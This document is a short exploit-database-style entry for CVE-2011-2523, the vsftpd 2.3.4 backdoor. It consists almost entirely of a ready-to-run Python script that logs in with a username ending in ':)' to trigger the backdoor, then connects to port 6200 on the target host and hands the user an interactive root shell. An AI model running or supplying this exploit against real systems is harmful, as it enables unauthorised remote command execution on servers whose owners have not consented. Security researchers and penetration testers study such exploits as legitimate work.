vsftpd 2.3.4 – Backdoor Command Execution
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution # Date: 9-04-2021 # Exploit Author: HerculesRD # Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html # Version: vsftpd 2.3.4 # Tested on: debian # CVE : CVE-2011-2523 #!/usr/bin/python3 from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0) signal(SIGINT, handler) parser=argparse.ArgumentParser() parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args() host = args.host portFTP = 21 #if necessary edit this line user="USER nergal:)" password="PASS pass" tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n") tn2=Telnet(host, 6200) print('Success, shell opened') print('Send `exit` to quit shell') tn2.interact() |